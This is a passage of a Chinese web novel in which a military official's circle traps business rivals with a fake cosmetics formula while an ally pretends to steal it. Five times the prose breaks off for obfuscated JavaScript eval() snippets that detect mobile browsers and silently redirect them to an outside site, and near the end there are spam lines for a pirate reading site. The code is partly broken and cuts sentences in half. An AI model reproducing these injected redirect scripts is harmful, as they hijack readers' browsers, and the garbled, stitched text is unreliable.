傅清寒惟妙惟肖地模仿起了一个又蠢又急、生怕自己功劳被埋没的小姑娘的语气: “哎呀,晚晴姐,这个‘神水’的配方我可是费了九牛二虎之力才弄到手的!你们可得赶紧想办法用上啊!我听说展销会不让带液体进去,你们要是带不进去,那我这番辛苦……岂不是白费功夫了? 他顿了顿,嘴角的笑意更深了,补充道:“甚至,她还可以再‘天真’地加一句——‘要不……你们把它倒在化妆棉上带进去?我妈不让我化妆,我平时就是这么偷偷带化妆品去学校的,可方便了!’ “噗——哈哈哈! 这一次,连一向沉稳的苏文赫都忍不住笑出了声! 陈慕白更是笑得直摇头:“清寒,你这招……太损了!简直是手把手地教他们怎么往火坑里跳啊! “这叫兵不厌诈。对付蠢货,就要用蠢货能理解的方式。傅清寒的语气平淡,却透着一股理所当然的霸道,“我们不仅要给他挖好坑,还要在坑边上撒满鲜花,插上彩旗,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771264|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配个大喇叭循环播放‘免费跳坑,送别墅豪车’,生怕他看不见,跳不进来。 白凝凝也兴奋地拿起电话,准备跟陆泽远商量的妻子,“我现在就联系京市的陆大哥!需要他那边最精密的仪器进行数据模拟。保证给赵家送上一份天衣无缝的‘大礼’!” 傅清寒点头,摸了摸她的头发,“凝凝,辛苦你和泽远了,你的配方才是此次计划的核心。” 他转头看向陈慕白,继续完善着这个计划的细节: “慕白,这件事,京市的生产线的改造,必须在绝对保密的情况下进行。所有参与的技术人员,都要签最高级别的保密协议。同时,让陈瑶那边,可以开始行动了。但要让她‘演’得逼真一点,多失败几次,最后再‘艰难’地拿到配方,这样才不会引起林晚晴的怀疑。” “承熙,苏文赫,”他的目光转向两人,“你们的任务,是动用你们所有的情报网,盯紧赵家和霍家的动向。我要知道他们每一次接触的细节,尤其是他们关于‘合作’的任何协议内容。这会是我们将来反击时,最重要的武器。” “至于瑶瑶那边,”他看向陈慕白,“告诉她,让她放心大胆地去‘演’。演得越骄纵、越愚蠢、越像个被嫉妒冲昏了头脑的蠢货,越好。她越是这样,林晚晴和赵家就越是会放松警惕。” “等到展销会那天,当着全港市媒体的面,当他的‘新品’沦为笑柄之时,赵家就会明白真的假不了。到时候,”傅清寒的目光,最后落在了赵承熙的身上,“就是你这位‘已死’的太子爷,王者归来,收复失地,清理门户的最好时机。” 赵承熙在一旁听着,看着眼前这个将人心和诡计**于股掌之上的男人,他现在无比庆幸,自己是站在傅清寒这一边。 如果是作为他的敌人……赵承熙简直不敢想象,会是怎么被碾压的绝望。 这个男人真正可怕的,不是他军方的背景,不是他那令人胆寒的身手,而是他智近多妖的谋略。 他现在有点明白,大家会这么信任他,白凝凝为什么会爱慕他。 这个男人心深似海,是擎天之柱。 第109章 耐着性子哄陈瑶 白凝凝放下电话,脸上带着一丝计谋得逞的俏皮笑意:“搞定!陆大哥那边已经开始准备了,保证给赵家送上一份终身难忘的‘大礼’!” 房间里的气氛瞬间轻松了下来。陈慕白笑着摇头,苏文赫和赵承熙脸上也露出了期待的神情。 就在这时,一直沉默的赵承熙,眉头却微微蹙起,他看向众人,提出了一个关键的问题: “计划虽然天衣无缝,但……霍家怎么办?” 他的声音里带着一丝担忧:“赵宇轩是以‘帮助霍家’的名义来做这件事的。到时候在展销会上出了这么大的丑,霍家虽然不是主谋,但也必然会受到牵连,声誉受损。霍思晴她……她是无辜的。” 此言一出,房间里轻松的气氛顿时一凝。 苏文赫也反应过来,点头道:“承熙说得对。我们的目标是赵家那对狗男女,不能把霍家也一起拖下水。他们是我们应该争取的盟友。” 陈慕白推了推眼镜,沉吟道:“确实是个问题。霍思晴性格刚烈,如果让她觉得我们连她也一起算计了,恐怕会适得其反,把她彻底推向对立面。” 所有人的目光,再次聚焦到了那个始终稳如泰山的傅清寒身上。 傅清寒看着众人脸上的凝重,却只是淡淡地笑了笑。他走上前,从身后圈住正若有所思的白凝凝,那姿态充满了占有和安抚。 他看着赵承熙,语气平淡,却足以让人安心:“放心。” 他只说了两个字,然后才将目光转向怀里的妻子,声音柔和了几分:“明天不是还要去给霍老爷子复诊吗?” 白凝凝抬头看他,立刻明白了丈夫的意思,眼中也浮现出一丝笑意。 傅清寒这才对众人解释道,声音里是运筹帷幄的从容: “赵宇轩是个什么货色,霍思晴比我们任何人都清楚。” 他低下头,轻轻地蹭了蹭妻子的发顶,语气里带上了一丝理所当然的骄傲: “明天,我和凝凝会一起去复诊。凝凝会以医生的身份,‘顺便’和霍小姐聊聊老爷子的病情和……‘投资风险’。” 傅清寒的嘴角,勾起一抹腹黑的笑意: “一个本身就有‘毒’的合作伙伴,你真的敢把整个家族的未来都押上去吗?——我相信,以霍小姐 的聪慧她会听懂这句‘医嘱’的。” “现在赵家动荡我们这个观察团南下她如惊弓之鸟本就打起十二分的警觉”傅清寒看向陈慕白“她自然会知道该怎么选。我们不会让一个无辜的人为赵宇轩的愚蠢陪葬。” —— 京市陆家药厂的秘密研发中心。 陆泽远在接到凝凝的加密电话后也被傅清寒这个“双重陷阱”的计划给惊得半天没说出话来。 “将核心萃取液涂在包装瓶内壁?精华水加持效果?和假配方起反应沉淀?”他扶了扶眼镜眼中闪烁着技术狂人独有的兴奋光芒“这个想法……太天才了!傅部长他……他到底是怎么想出来的?还是人脑子吗?” 电话那头凝凝笑“谁知道他脑子怎么长的。” 和凝凝交换了一下配方思路挂了电话陆泽远就立刻投入到了工作之中。对他而言这不仅仅是一次反击更是一次前所未有的技术挑战!他立刻召集了自己最核心的团队以“产品包装升级”为名开始了这场秘密的“画龙点睛”工程。 陈瑶也开始了她的“影后”之路她将自己平时骄纵样子发挥得淋漓尽致。 她一会儿以“给陆大哥送亲手做的爱心便当”为由在实验室门口大吵大闹抱怨饭菜都凉了陆泽远还不出来见她;一会儿又借口“想你了”直接冲到研发中心的前台被保安客气又坚定地拦下后便委屈地坐在大厅沙发上一副“你不出来我就不走”的架势。 每一次陆泽远都会在林晚晴的“眼线”能够观察到的范围内一脸不耐烦地走出来。 “陈瑶!你又来干什么?我这里是研发中心不是你家后花园!我很忙 “我……我就是想你了嘛!”陈瑶红着眼圈手里提着那个精致的便当盒声音里带着哭腔“你都好几天没理我了!你是不是真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771265|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢上那个白凝凝了?我告诉你她可是有妇之夫!你可不要当破坏人家家庭的男小三!” “你!不可理喻!”陆泽远脸都气白了冷冷地甩下一句话转身就走留下陈瑶一个人在原地被周围人同情又看好戏的目光包围气得直跺脚。 这一次她又“失败”了只见她气冲冲地从大楼里走出来对着电话那头的林晚晴大发脾气:“晚晴姐我试过了!那个陆泽远的实验室跟个铁桶一样!到处都是监控和保安我根本就进不去!你到底行不行啊?再这么下去黄花菜都凉了!” 林晚晴听着她那熟悉的、骄纵任性的抱怨心中非但没有怀疑反而更加笃定了陈瑶是个傻子。她耐着性子柔声安抚道: “瑶瑶别急越是这种时候越要冷静。你听我说 她开始一步步地教陈瑶如何利用“送夜宵”、“查资料”等借口去接近实验室如何去观察安保的换班规律如何去“无意中”套取实验室的密码…… “这么麻烦啊?我不干了你去找别人吧!”说完她“啪”地一下挂了电话。 看着空无一人的停车场说不定林晚晴那个坏女人在哪儿旮旯里暗中监视着事情进展自己越是表现得废物和骄纵越是逼真效果才更加拔群。 她随即狠狠地跺了几下脚脸上满是“骄纵大小姐”的怒气和委屈。 林晚晴被她挂了电话又气又无奈。这个陈瑶真是…蠢到家了脾气又臭…哪有一点大家闺秀的范儿?难道陈家的聪明劲都让陈慕白一个人全占了吗? 此时在她的心里哪有一丝对陈瑶的防备?只有对陈瑶的愚蠢和恋爱脑深信不疑。 但为了自己的大计没办法只能捏着鼻子先忍下来。林晚晴只好耐着性子再次给她打去了电话:“瑶瑶这是最后一次机会了。”林晚晴的声音里带着几分低三下四“我已经帮你打听清楚了今天晚上陆泽远的安保团队会进行系统轮换有十五分钟的监控盲区。而且他今晚会通宵测试新一批的原材料办公室的门不会锁死。你只需要送咖啡、假装崴脚来支开助理从而潜入他的办公室这件事就成了。” 第110章 影后陈瑶 “你带上一些文件就说是给他搜集的,到时候你把配方混在里面带出来,保证天衣无缝。”林晚晴不烦心叮嘱,心里却在疯狂吐槽:陈瑶这个蠢货,要不是自己的身份没办法,还不如自己去偷! 陈瑶看她明明不爽,却不得不耐着性子哄自己的样儿就想笑,但嘴上还是不饶人地威胁她:“这是最后一次了啊。再不成我就不干了!” “我们瑶瑶这么聪明,一定没问题的。”林晚晴还不忘给她画大饼,“只要这件事成了,白凝凝就完了。到时候你的陆哥哥就不会被她骗了,才知道谁才是对他好的人。” “这还差不多。”陈瑶噘嘴,貌似勉强答应了最后这一次的任务。 当晚,深夜十一点。 陈瑶按照计划,打扮得漂漂亮亮,右手提着一个保温壶,左手抱着一个文件夹出现在了研发中心楼下。这一次,她没有再大吵大闹,而是显得有些紧张和笨拙。 在成功用“不小心把咖啡洒在身上”的借口支开门口的助理后,她深吸一口气,像一只受惊的小鹿,溜进了那条通往陆泽远办公室的、寂静无声的走廊。 走廊的尽头,陆泽远的办公室门,果然虚掩着一道缝。 陈瑶的心提到了嗓子眼。她知道,这是陆泽远故意留给她的。她轻轻推开门,闪身进去。 办公室里只开了一盏台灯,陆泽远正背对着门口,聚精会神地看着显微镜,仿佛对她的到来毫无察觉。桌面上,散乱地放着几份文件,其中一份,封面上赫然印着“保密”的字样。 陈瑶的心脏狂跳不止!她踮起脚尖,一步步地,朝着那份“致命”的文件挪去。 就在她的指尖即将触碰到文件的前一刻—— “你在干什么?” 一个冰冷的声音,如同惊雷,在她身后炸响! 陈瑶浑身一僵,猛地回头,只见陆泽远不知何时已经转过身来,正站在她身后,那双在镜片后显得异常锐利的眼睛,死死地盯着她,眼神里充满了失望、愤怒,和一丝……她看不懂的复杂情绪。 “我……我……”陈瑶被抓了个现行,吓得脸色煞白,手中的保温壶“哐当”一声掉在地上,滚烫的咖啡洒了一地。她语无伦次,眼泪不受控制地涌了出来,“我……我只是想给你送咖啡…还有我搜集 的文件能帮上你…我看你门没关……我不是故意的……” 她演得太逼真了那份惊慌失措那份被抓包后的恐惧连她自己都快要信了。 陆泽远看着她这副模样心中暗自赞叹面上却依旧冰冷如霜。他一步步逼近将她困在办公桌和自己之间。 “送咖啡?送文件?你认识几个字?”他冷笑一声声音冰冷刺骨“难道是来偷东西的?” 陈瑶的身体剧烈地颤抖起来眼泪流得更凶了。 然而就在这时她忽然感觉到一只温热的大手在桌子底下轻轻地拍了拍她的手背。 “……做得很好。” 那声音极低快得像一阵风。如果不是靠得这么近根本无法听清。 陈瑶猛地一愣抬起那双泪眼婆娑的眼睛对上了陆泽远那双近在咫尺的眸子。 那双眼睛里表面的冰冷和愤怒还在但在那冰层之下却涌动着一丝她从未见过的、温暖的笑意和……赞许。 “……继续演下去。”那声音再次低低地响起。 陈瑶的心在这一刻像是被一股暖流瞬间包裹! 她的眼泪流得更凶了但这一次却是激动的泪水。她索性豁出去了一把推开陆泽远一边哭一边歇斯底里地喊道: “偷屁东西!你们这个穷酸实验室实验室有什么可偷的!我给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771266|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你送咖啡你还这么说我。狗咬吕洞宾不识好人心!陆泽远你就是那么目中无人的狗!” 陆泽远像是被她的话激怒了伸出手看似粗暴地抓住了她的手腕将她往旁边一推! “滚出去!”他怒斥道“我这里不欢迎你!” 这个动作力道不大却让陈瑶一个踉跄正好撞在了旁边的书柜上!书柜上的一叠文件“哗啦”一声散落一地! 而那份她觊觎已久的“保密”文件正好就掉在了她的脚边! 陈瑶的心脏在这一刻几乎停止了跳动!她瞬间就明白了陆泽远的意思! 这就是他卖的破绽!是在给她递戏! 这是一个稍纵即逝的机会!演砸了就全完了! 她的脑子飞速运转几乎是出于本能她立刻将“被羞辱后的疯狂”演到了极致! 她没有立刻去捡那份文件而是像被彻底激怒了一样猛地抬起头通红的双眼里迸发出歇斯底里的恨意! “陆泽远!你混蛋!”她尖叫着声音因为激动而破了音“我喜欢你这么多年!凭什么!凭什么你向着那个乡下来的野丫头!她到底给你灌了什么**汤!” 她一边哭喊着一边整理自己散落在地的文件夹而那份最重要的“核心配方”就这样被她“无意”地、混在一堆无关紧要的文件里一起揽进了怀中! 陆泽远冷冷地看着她这副“失心疯”的模样眼中闪过一丝难以察觉的赞许。 说完她便不再看陆泽远一眼攥着那份文件哭着头也不回地冲出了办公室! 陆泽远站在原地没有去追。 他看着她那决绝又悲愤的背影直到她的身影消失在走廊尽头。 他推了推鼻梁上的眼镜嘴角浮起来一抹发自内心的微笑。 他低声喃喃自语 “瑶瑶你真的……长大了。” 第111章 陈瑶复命,凝凝复诊,都是影帝 深夜的京市,霓虹闪烁,却照不进人心底的阴暗。 一辆黑色的轿车,悄无声息地驶入精神疗养院的后门。陈瑶哭哭啼啼从陆家药厂的方向一路狂奔而来,脸上还挂着未干的泪痕,头发凌乱,看起来狼狈不堪。 她一上车,就扑进了早已等候在车里的林晚晴怀中,放声大哭。 “晚晴姐!呜呜呜……我受不了了!我再也不要见到他了!” 车内只开了一盏昏暗的阅读灯,林晚晴穿着一身优雅的白色长裙,与陈瑶的狼狈形成了鲜明的对比。她没有立刻说话,只是像一个最温柔的姐姐,轻轻地拍着陈瑶颤抖的后背,任由她发泄着情绪。 直到陈瑶的哭声渐歇,林晚晴才递上一方柔软的丝帕,声音里带着恰到好处的心疼和关切:“怎么了,我的傻妹妹?是不是……陆泽远又欺负你了?” “他不是欺负我!他简直不是人!”陈瑶一提到这个名字,就仿佛被点燃了**桶,她抬起那双哭得红肿的眼睛,里面充满了滔天的恨意和委屈。 她将手中的那个文件夹,像扔垃圾一样,狠狠地摔在车座上,声音因为激动而变得尖利刺耳: “我好心好意给他送咖啡,怕他熬夜伤了胃!可他呢?他竟然说我是去偷东西的!他当着所有人的面骂我,让我滚!晚晴姐,你知道吗?他看我的眼神,就像在看一只恶心的臭虫!” 她一边说,一边模仿着陆泽远那冰冷的神情和语气,演得惟妙惟肖,仿佛自己真的遭受了天大的羞辱。 “他还说,我还说我连给白凝凝提鞋都不配!他说那个乡下来的野丫头,是天上的云,而我,就是地上的泥!他为了那个女人,竟然这么羞辱我!” 她越说越激动,抓着林晚晴的手臂,指甲因为用力而深深地陷了进去,声音里充满了不甘和疯狂: “凭什么?!我到底哪里比不上那个白凝凝?!论家世,我们陈家不比她一个无父无母的孤女强百倍?论感情,我喜欢了陆泽远这么多年,她才出现几天?就因为她会用些狐媚手段勾引男人吗?!” 她说到最后,又趴在林晚晴的肩上,发出了绝望的、受伤的啜泣声:“晚晴姐,我没地方去了……我不敢回家,我哥要是知道我做了这种事,他会打死我的!爷爷也会把我关起来!我只有你 了……你带我走吧!去哪里都行,只要能离开这个地方!” 林晚晴静静地听着她这番声泪俱下的控诉,心中早已乐开了花。 蠢货!真是个无可救药的蠢货! 她看着怀里这个被嫉妒和恋爱脑冲昏了头脑的大小姐,眼中闪过一丝鄙夷和轻蔑,但面上,却流露出比她更深的悲愤和同情。 “不哭了,不哭了,我的好妹妹。”她轻轻地为陈瑶擦去眼泪,声音里充满了感同身受的愤怒,“我早就说过,陆泽远已经被那个妖女给迷住了!男人啊,一旦被美色所惑,就再也分不清好坏了!你为他付出这么多,他却把你伤得这么深,姐姐看着都心疼!” 她将陈瑶扶正,让她看着自己的眼睛,语气变得无比坚定,仿佛是在给她注入力量:“你做得对!就该离开这个伤心地!你放心,有姐姐在,谁也伤害不了你!” 她拿起那份被陈瑶摔在座位上的文件夹,轻轻地拍了拍,嘴角勾起一抹胜券在握的冷笑。 “至于这个,”她扬了扬手中的文件,“这就是我们反击的武器!你放心,姐姐一定不会让你白白受这份委屈!” 她看着陈瑶那张梨花带雨、楚楚可怜的脸,心里飞速盘算。 这个陈瑶,不仅是偷配方的工具,更是她将来对付陈慕白,甚至拿捏整个陈家的……一张绝佳的“人质牌”! 一个为了“爱情”和“嫉妒”,就能背叛家族、偷取核心机密的千金大小姐。这件事如果传出去,对陈家的声誉将是多大的打击?陈慕白那个自诩算无遗策的男人,面对自己亲妹妹的“丑闻”,还能保持他那副云淡风轻的模样吗? 而且把她拐到港市,将来还愁拿捏不了陈家? 林晚晴越想越兴奋,她仿佛已经看到了陈慕白和白凝凝因为这件事而焦头烂额、名誉扫地的场景。 她紧紧地抱住陈瑶,像是在抱着自己复仇的希望,声音温柔得如同魔鬼的低语: “瑶瑶,别怕。姐姐带你去港市,带你去看一场最好看的戏。” “我要你亲眼看着,白凝凝是如何从云端跌落泥潭!我要你亲眼看着,陆泽远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771267|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在发现自己被骗后,是如何追悔莫及!” “我要让所有伤害过我们的人,都付出代价!” 陈瑶在她的怀里,重重地点了点 头,那双通红的眼睛里藏着一丝无人察觉的、冰冷的清明。 车子缓缓启动,驶入深沉的夜色。 —— 港市霍家大宅。 按照昨天的约定,白凝凝将在上午十点,登门为霍老爷子进行第一次复诊施针。 九点五十分,霍家的管家就已经恭敬地等候在了大宅门口。当傅清寒那辆挂着特殊牌照的黑色轿车缓缓驶来时,他立刻快步上前,亲自拉开了车门。 霍思晴站在客厅的落地窗前,看着这一幕,心情极其复杂。 一方面,这个叫白凝凝的女人,是她爷爷现在唯一的希望,她对她怀有感激。但另一方面,她又是“凝悦 这种感激与戒备交织在一起,让她对今天的复诊,既期盼,又紧张。 “小姐,管家领着白凝凝和傅清寒走了进来,恭敬地说道,“白医生和傅先生到了。 霍思晴深吸一口气,收敛起所有情绪,脸上恢复了商界铁娘子的冷静和客套。她走上前,对着白凝凝微微颔首:“白医生,傅先生,有劳二位了。 傅清寒只是冷淡地点了点头,他像一座移动的冰山,浑身散发着“生人勿近的气场,寸步不离地护在白凝凝身边。 白凝凝则显得从容许多,她对霍思晴安抚地笑了笑:“霍小姐不必客气,救死扶伤,是医者本分。我们直接去看看老爷子吧。 卧室内,霍老爷子依旧处于昏迷状态,但经过昨天的急救,他的气色明显好了许多。 白凝凝屏退了其他人,只留下霍思晴在旁协助。她取出那套熟悉的银针,在酒精灯上仔细地烤过,准备开始施针。 霍思晴站在一旁,看着她那专注而又充满韵律感的动作,心中还是忍不住升起一丝疑虑:她真的只是单纯地为了救人吗?还是……这一切的背后,另有所图? 就在这时,白凝凝似乎看穿了她的心思,一边准备着银针,一边仿佛不经意地开口说道:“霍小姐,你是在担心,我救你爷爷,是为了图谋你们霍家什么吗? 第112章 作壁上观 霍思晴心中一惊,没想到她会问得如此直接!她下意识地想否认,但对上白凝凝那双仿佛能洞悉一切的清澈眼眸,所有辩解的话都堵在了喉咙里。 白凝凝见状,只是淡淡一笑,将一根银针稳稳地刺入霍老爷子的穴位,继续说道:“如果我真的想对霍家不利,昨天,我完全可以坐视不理。等老爷子真的出了事,霍家群龙无首,内忧外患,我们再出手收购你们的产业,岂不是更省时省力?” 这番话,说得霍思晴脸上青一阵白一阵,心中那点龌龊的猜疑,仿佛被放在阳光下暴晒,无所遁形。是啊,如果她真的心怀不轨,昨天就是最好的机会,何必多此一举? 就在霍思晴感到羞愧难当之时,白凝凝却又轻轻地叹了口气,手上的动作不停,语气里却带上了一丝无奈:“可惜了……老爷子的心脉损伤太重,单靠我的内劲,终究是杯水车薪。如果……如果能有一件蕴含着至纯灵气的‘镇物’来作为阵眼,放大针法的效果,或许能事半功倍,让老爷子早日醒来。” “镇物?”霍思晴心中一动,立刻被转移了注意力,急切地追问,“白医生,您是说……什么样的镇物?” 白凝凝看了她一眼,缓缓说道:“最好是那种经过家族数代人血脉温养的传家之宝,尤其是玉石类的。这种古玉,历经岁月沉淀,本身就蕴含着一股安神定魄的温润之气。若能借来一用,在我施针时放置于老爷子心口,便可引动天地灵气,护住他的心脉,让我的针法效果,提升三成以上。” 蕴含灵气的古玉? 霍思晴的脑海里,瞬间就浮现出了那块通体温润、雕刻着鸾鸟的传家玉佩! 虽说是霍家的至宝不能轻易示人。但事关爷爷病情,什么事情都要往后放。 “白医生!”她像是下定了决心,“您稍等!我想……我知道您说的是什么了!” 说完,她快步走出卧室,片刻后,用一个丝绸锦盒,小心翼翼地捧着一块古朴雅致的凤形玉佩,走了回来。 正是“鸾凤佩”! 白凝凝看着那块静静躺在锦盒中的“鸾凤佩”,心中巨浪翻涌,但面上却依旧保持着平静与专业。 “就是此物。”她点了点头,示意霍思晴将玉佩放在老爷子的心口膻中穴上。 当那块温润的古 玉接触到霍老爷子皮肤的瞬间,白凝凝能清晰地感觉到,一股清凉而又柔和的灵气,从玉佩中缓缓散发出来,与她渡入的内劲交相辉映,形成了一个微妙的循环。 这一次施针,她明显感觉轻松了许多。那股阴柔的灵气,仿佛有生命一般,主动地修复着她因为强行提气而受损的经脉,连带着腹中胎儿那丝不安的躁动,也渐渐平息了下来。 施针完毕,霍老爷子虽然还未醒来,但他的脸色,明显比刚才又红润了几分,呼吸也变得更加平稳有力。监控仪器上,各项生命体征的数据,都在朝着好的方向发展。 霍思晴见状,对白凝凝的医术更是信服得五体投地,心中那最后一丝戒备,也悄然瓦解。 她小心翼翼地收起玉佩,亲自将两人送至客厅,奉上最好的香茶。 一番真诚的感谢之后,霍思晴沉吟片刻,终于还是决定将赵家的事和盘托出。她需要听听眼前这个深测的女人的看法。 “白医生,傅部长,不瞒你们说,”她看着两人,脸上带着一丝凝重,“赵家的赵宇轩,昨天又来过了。” 傅清寒放下茶杯,抬眸看了她一眼,淡淡地开口:“霍小姐,有什么话但说无妨。” “他没有再提联姻的事,”霍思晴紧紧地盯着众人的反应,缓缓说道,“而是向我们霍家提出了一个‘合作方案’。他说……他有办法,能帮我们弄到‘凝悦’的核心配方,并在此基础上进行改良,帮我们在下个月的产品展销会上,一举击败你们。” 她说完,便不再言语,只是静静地观察着傅清寒和白凝凝的表情,试图从中看出哪怕一丝的惊讶或愤怒。 然而,她失望了。 无论是傅清寒还是白凝凝,脸上都没有丝毫的波澜,仿佛早就知道了一样。 傅清寒甚至还轻笑了一声,端起茶杯,吹了吹浮沫,语气里带着一丝漫不经心的嘲讽:“哦?是吗?凭他赵宇轩?霍小姐信了?” 凝凝也补充道:“赵宇轩的手段,无非就是偷拐抢骗。霍小姐,我只提醒你一句,与这种人为伍,无异于与虎谋皮。” 霍思晴看着眼前这两人如此云淡风轻,心中那份对“凝悦”的警惕,第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771268|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 产生了动摇。 他们太冷静了,冷静得不正常。仿佛赵宇轩那个足以颠覆 市场的“合作方案”在他们眼里只是一个无伤大雅的笑话。这种极致的自信只有两种可能:要么是极致的自大要么是……他们早已成竹在胸根本没把赵宇轩放在眼里。 然而结合这几天的观察霍思晴更倾向于后者。 她深吸一口气将自己的决定和盘托出:“我当然不信他。但是爷爷病重董事会里那些叔伯们又各怀心思。赵宇轩的提议对他们中的一些人来说很有诱惑力。” 凝凝笑了笑“那都是旁人的想法霍小姐是怎么打算的?” 她顿了顿眼中闪过决断:“明人不说暗话白医生。在商言商而且此事牵扯甚大关系着我们霍家未来的商业布局。我不能照着自己个人喜恶来做决定。” “那您是答应赵宇轩了?”凝凝喝了口茶。 “不”她摇摇头“想和我霍家合作不是空口白牙随便说说。霍家可以给他一个‘证明自己’的机会。下个月的产品展销会我们会让出一部分展台 说的域名caixs?(请来才小 说 看最新章节 完整章节)让赵家展示他所谓的‘改良新品’登场。如果他真的能拿出比‘凝悦’更出色的产品一鸣惊人那么霍家可以重新考虑与赵家的合作。” 凝凝闻言和傅清寒对视一眼。霍思晴一眼这个女人确实很有更有魄力。 她这是要“作壁上观”实在是高明。 既不得罪赵宇轩暂时稳住了这个疯子又将所有的风险都转嫁到了赵家身上。赢了霍家坐享其成;输了赵家在全港市面前丢人现眼与霍家再无半分关系。 “霍小姐果然是女中豪杰。”傅清寒也难得地夸了一句但他随即又补充道语气里带着一丝不容置喙的强势“不过我还是要提醒霍小姐一句。” 他的目光冷冷地看向霍思晴:“看戏可以但千万别把自己也搭进去了。赵宇轩这种人为了达到目的没有什么事是做不出来的。如果你们霍家真的被他那套‘改良配方’说动参与到生产和销售中去……我保证到时候出事的绝不仅仅是赵家。” 这番话既是提醒也是忠告。 第113章 演员各就各位 送走了众人,霍思晴立刻召开了一场紧急的家族会议。 面对董事会里那些因为赵宇轩的“橄榄枝”而蠢蠢欲动的叔伯们,她直接将傅清寒的警告和自己的决定,强硬地宣布了下去。 “……所以,我的决定是,在下个月的展销会上,我们霍家将战略性收缩,只展出我们的经典产品‘玉肌散’。至于赵宇轩承诺的‘新品’,我们可以‘友情赞助’他一个展位,让他自己去唱独角戏。我们霍家,不参与、不背书、不合作!” 这个决定,立刻引起了一片哗然。 “什么?!思晴,你疯了?!”一位董事激动地站了起来,“这可是我们反超‘凝悦’最好的机会啊!” “是啊!赵家愿意出钱出技术帮我们,我们为什么要拒绝?难道你真的相信那个白凝凝的话?她可是我们的对手!” 霍思晴冷冷地看着他们,一字一句地说道:“我相信的,不是白凝凝。我相信的,是我自己的判断。” “我问你们,赵宇轩是个什么样的人?一个靠着母亲做情妇上位,声名狼藉的私生子,一个在内地连军需物资都敢动手脚的**!你们真的相信,他能在一夜之间,就研发出超越‘凝悦’的产品吗?” “你们只看到了他画的大饼,却没看到他背后那把随时可能捅向我们的刀!一旦我们被他拖下水,产品出了任何问题,到时候背锅的,是我们霍家几代人积累下来的声誉!” “而那个‘凝悦’,你们真以为我们有机会赢吗?”她的声音里带上了一丝无力,“人家背后站着的是谁?是陈家!是傅家!是整个内地军方!我们拿什么跟人家斗?” 她深吸一口气,说出了自己最深层的考量:“现在的情况,对我们霍家来说,最好的选择,不是站队,而是观望。让他们斗!让赵家和‘凝悦’去斗!无论谁输谁赢,对我们来说,都不是最坏的结果。” 霍思晴这番冷静而又现实的分析,像一盆冷水,浇醒了那些被利益冲昏了头脑的董事们。 最终在她的力排众议下,霍家通过了“作壁上观”的决议。 而赵宇轩那边,在得知霍家愿意“友情赞助”展位后,更是得意忘形。他完全没有领会到霍家“划清界限”的深意,只当是霍思晴被他的“诚意”和“能力”所折 服,在向他示好。 他立刻加大了对京市那边的投入,催促林晚晴尽快拿到配方。他要在展销会上一鸣惊人,不仅要让“凝悦”一败涂地,更要让霍思晴那个高傲的女人,心甘情愿地成为他的囊中之物。 终于林晚晴把配方秘密传真去了港市,赵宇轩如获至宝! 他立刻召集了赵家高薪聘请来的技术团队,将配方交给了他们。 那些所谓的“专家”,在看到这份逻辑严谨、配伍精妙的配方后,都惊为天人!又和市场上能买到的凝悦料体一对比分析,重复率百分百!配方是真的! 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节) 赵宇轩一时间欣喜若狂! 他成功了! 他就知道他行! 他仿佛看到了胜利在招手! 